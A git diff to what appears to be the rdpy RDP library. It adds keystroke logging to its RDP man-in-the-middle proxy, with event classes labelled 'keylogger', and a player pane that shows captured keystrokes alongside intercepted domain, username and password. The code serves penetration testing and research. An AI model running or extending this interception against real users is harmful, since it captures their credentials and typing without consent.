diff --git a/bin/rdpy-rdpmitm.py b/bin/rdpy-rdpmitm.py
index 1a5c1c6..801817e 100755
--- a/bin/rdpy-rdpmitm.py
+++ b/bin/rdpy-rdpmitm.py
@@ -102,6 +102,7 @@ class ProxyServer(rdp.RDPServerObserver):
if self._client is None:
return
self._client._controller.sendKeyEventScancode(code, isPressed)
+ self._rss.keyScancode(code, isPressed)
def onKeyEventUnicode(self, code, isPressed):
"""
@@ -113,6 +114,7 @@ class ProxyServer(rdp.RDPServerObserver):
if self._client is None:
return
self._client._controller.sendKeyEventUnicode(code, isPressed)
+ self._rss.keyUnicode(code, isPressed)
def onPointerEvent(self, x, y, button, isPressed):
"""
diff --git a/bin/rdpy-rssplayer.py b/bin/rdpy-rssplayer.py
index 09daddb..82f26a7 100755
--- a/bin/rdpy-rssplayer.py
+++ b/bin/rdpy-rssplayer.py
@@ -27,6 +27,7 @@ from PyQt4 import QtGui, QtCore
from rdpy.core import log, rss
from rdpy.ui.qt4 import QRemoteDesktop, RDPBitmapToQtImage
+from rdpy.core.scancode import scancodeToChar
log._LOG_LEVEL = log.Level.INFO
class RssPlayerWidget(QRemoteDesktop):
@@ -45,9 +46,28 @@ class RssPlayerWidget(QRemoteDesktop):
""" Not Handle """
QRemoteDesktop.__init__(self, width, height, RssAdaptor())
- def drawInfos(self, domain, username, password, hostname):
- QtGui.QMessageBox.about(self, "Credentials Event", "domain : %s\nusername : %s\npassword : %s\nhostname : %s" % (
- domain, username, password, hostname))
+class RssPlayerWindow(QtGui.QWidget):
+ """
+ @summary: main window of rss player
+ """
+ def __init__(self):
+ super(RssPlayerWindow, self).__init__()
+
+ self._viewer = RssPlayerWidget(800, 600)
+ self._text = QtGui.QTextEdit()
+ self._text.setReadOnly(True)
+ self._text.setFixedHeight(150)
+
+ scrollViewer = QtGui.QScrollArea()
+ scrollViewer.setWidget(self._viewer)
+
+ layout = QtGui.QVBoxLayout()
+ layout.addWidget(scrollViewer, 1)
+ layout.addWidget(self._text, 2)
+
+ self.setLayout(layout)
+
+ self.setGeometry(0, 0, 800, 600)
def help():
print "Usage: rdpy-rssplayer [-h] rss_filepath"
@@ -64,16 +84,20 @@ def loop(widget, rssFile, nextEvent):
if nextEvent.type.value == rss.EventType.UPDATE:
image = RDPBitmapToQtImage(nextEvent.event.width.value, nextEvent.event.height.value, nextEvent.event.bpp.value, nextEvent.event.format.value == rss.UpdateFormat.BMP, nextEvent.event.data.value);
- widget.notifyImage(nextEvent.event.destLeft.value, nextEvent.event.destTop.value, image, nextEvent.event.destRight.value - nextEvent.event.destLeft.value + 1, nextEvent.event.destBottom.value - nextEvent.event.destTop.value + 1)
+ widget._viewer.notifyImage(nextEvent.event.destLeft.value, nextEvent.event.destTop.value, image, nextEvent.event.destRight.value - nextEvent.event.destLeft.value + 1, nextEvent.event.destBottom.value - nextEvent.event.destTop.value + 1)
elif nextEvent.type.value == rss.EventType.SCREEN:
- widget.resize(nextEvent.event.width.value, nextEvent.event.height.value)
+ widget._viewer.resize(nextEvent.event.width.value, nextEvent.event.height.value)
elif nextEvent.type.value == rss.EventType.INFO:
- widget.drawInfos(nextEvent.event.domain.value, nextEvent.event.username.value, nextEvent.event.password.value, nextEvent.event.hostname.value)
+ widget._text.append("Domain : %s\nUsername : %s\nPassword : %s\nHostname : %s\n" % (
+ nextEvent.event.domain.value, nextEvent.event.username.value, nextEvent.event.password.value, nextEvent.event.hostname.value))
+ elif nextEvent.type.value == rss.EventType.KEY_SCANCODE:
+ if nextEvent.event.isPressed.value == 0:
+ widget._text.moveCursor(QtGui.QTextCursor.End)
+ widget._text.insertPlainText(scancodeToChar(nextEvent.event.code.value))
elif nextEvent.type.value == rss.EventType.CLOSE:
- widget.close()
return
e = rssFile.nextEvent()
@@ -92,8 +116,10 @@ if __name__ == '__main__':
filepath = args[0]
#create application
app = QtGui.QApplication(sys.argv)
- widget = RssPlayerWidget(800, 600)
- widget.show()
+
+ mainWindow = RssPlayerWindow()
+ mainWindow.show()
+
rssFile = rss.createReader(filepath)
- start(widget, rssFile)
+ start(mainWindow, rssFile)
sys.exit(app.exec_())
\ No newline at end of file
diff --git a/rdpy/core/rss.py b/rdpy/core/rss.py
index cff2802..df1178f 100644
--- a/rdpy/core/rss.py
+++ b/rdpy/core/rss.py
@@ -34,6 +34,8 @@ class EventType(object):
SCREEN = 0x0002
INFO = 0x0003
CLOSE = 0x0004
+ KEY_UNICODE = 0x0005
+ KEY_SCANCODE = 0x0006
class UpdateFormat(object):
"""
@@ -56,7 +58,7 @@ class Event(CompositeType):
"""
@summary: Closure for event factory
"""
- for c in [UpdateEvent, ScreenEvent, InfoEvent, CloseEvent]:
+ for c in [UpdateEvent, ScreenEvent, InfoEvent, CloseEvent, KeyEventScancode, KeyEventUnicode]:
if self.type.value == c._TYPE_:
return c(readLen = self.length)
log.debug("unknown event type : %s"%hex(self.type.value))
@@ -123,6 +125,26 @@ class CloseEvent(CompositeType):
def __init__(self, readLen = None):
CompositeType.__init__(self, readLen = readLen)
+class KeyEventUnicode(CompositeType):
+ """
+ @summary: keyboard event (keylogger) as unicode event
+ """
+ _TYPE_ = EventType.KEY_UNICODE
+ def __init__(self, readLen = None):
+ CompositeType.__init__(self, readLen = readLen)
+ self.code = UInt32Le()
+ self.isPressed = UInt8()
+
+class KeyEventScancode(CompositeType):
+ """
+ @summary: keyboard event (keylogger)
+ """
+ _TYPE_ = EventType.KEY_SCANCODE
+ def __init__(self, readLen = None):
+ CompositeType.__init__(self, readLen = readLen)
+ self.code = UInt32Le()
+ self.isPressed = UInt8()
+
def timeMs():
"""
@return: {int} time stamp in milliseconds
@@ -211,6 +233,28 @@ class FileRecorder(object):
infoEvent.domain.value = domain
infoEvent.hostname.value = hostname
self.rec(infoEvent)
+
+ def keyUnicode(self, code, isPressed):
+ """
+ @summary: record key event as unicode
+ @param code: unicode code
+ @param isPressed: True if a key press event
+ """
+ keyEvent = KeyEventUnicode()
+ keyEvent.code.value = code
+ keyEvent.isPressed.value = 0 if isPressed else 1
+ self.rec(keyEvent)
+
+ def keyScancode(self, code, isPressed):
+ """
+ @summary: record key event as scancode
+ @param code: scancode code
+ @param isPressed: True if a key press event
+ """
+ keyEvent = KeyEventScancode()
+ keyEvent.code.value = code
+ keyEvent.isPressed.value = 0 if isPressed else 1
+ self.rec(keyEvent)
def close(self):
"""
diff --git a/rdpy/core/scancode.py b/rdpy/core/scancode.py
new file mode 100644
index 0000000..9920368
--- /dev/null
+++ b/rdpy/core/scancode.py
@@ -0,0 +1,60 @@
+#
+# Copyright (c) 2014-2015 Sylvain Peyrefitte
+#
+# This file is part of rdpy.
+#
+# rdpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+#
+
+"""
+Basic virtual scancode mapping
+"""
+
+_SCANCODE_QWERTY_ = {
+ 0x10 : "q",
+ 0x11 : "w",
+ 0x12 : "e",
+ 0x13 : "r",
+ 0x14 : "t",
+ 0x15 : "y",
+ 0x16 : "u",
+ 0x17 : "i",
+ 0x18 : "o",
+ 0x19 : "p",
+ 0x1e : "a",
+ 0x1f : "s",
+ 0x20 : "d",
+ 0x21 : "f",
+ 0x22 : "g",
+ 0x23 : "h",
+ 0x24 : "j",
+ 0x25 : "k",
+ 0x26 : "l",
+ 0x2c : "z",
+ 0x2d : "x",
+ 0x2e : "c",
+ 0x2f : "v",
+ 0x30 : "b",
+ 0x31 : "n",
+ 0x32 : "m"
+}
+
+def scancodeToChar(code):
+ """
+ @summary: try to convert native code to char code
+ @return: char
+ """
+ if not _SCANCODE_QWERTY_.has_key(code):
+ return ""
+ return _SCANCODE_QWERTY_[code];
\ No newline at end of file
diff --git a/rdpy/protocol/rdp/pdu/layer.py b/rdpy/protocol/rdp/pdu/layer.py
index cbaf0ae..271a7d3 100644
--- a/rdpy/protocol/rdp/pdu/layer.py
+++ b/rdpy/protocol/rdp/pdu/layer.py
@@ -287,11 +287,14 @@ class Client(PDULayer):
@param dataPDU: DataPDU object
"""
if dataPDU.shareDataHeader.pduType2.value == data.PDUType2.PDUTYPE2_SET_ERROR_INFO_PDU:
+ #ignore 0 error code because is not an error code
+ if dataPDU.pduData.errorInfo.value == 0:
+ return
errorMessage = "Unknown code %s"%hex(dataPDU.pduData.errorInfo.value)
if data.ErrorInfo._MESSAGES_.has_key(dataPDU.pduData.errorInfo):
- errorMessage = data.ErrorInfo._MESSAGES_[dataPDU.pduData.errorInfo]
-
+ errorMessage = data.ErrorInfo._MESSAGES_[dataPDU.pduData.errorInfo]
log.error("INFO PDU : %s"%errorMessage)
+
elif dataPDU.shareDataHeader.pduType2.value == data.PDUType2.PDUTYPE2_SHUTDOWN_DENIED:
#may be an event to ask to user
self._transport.close()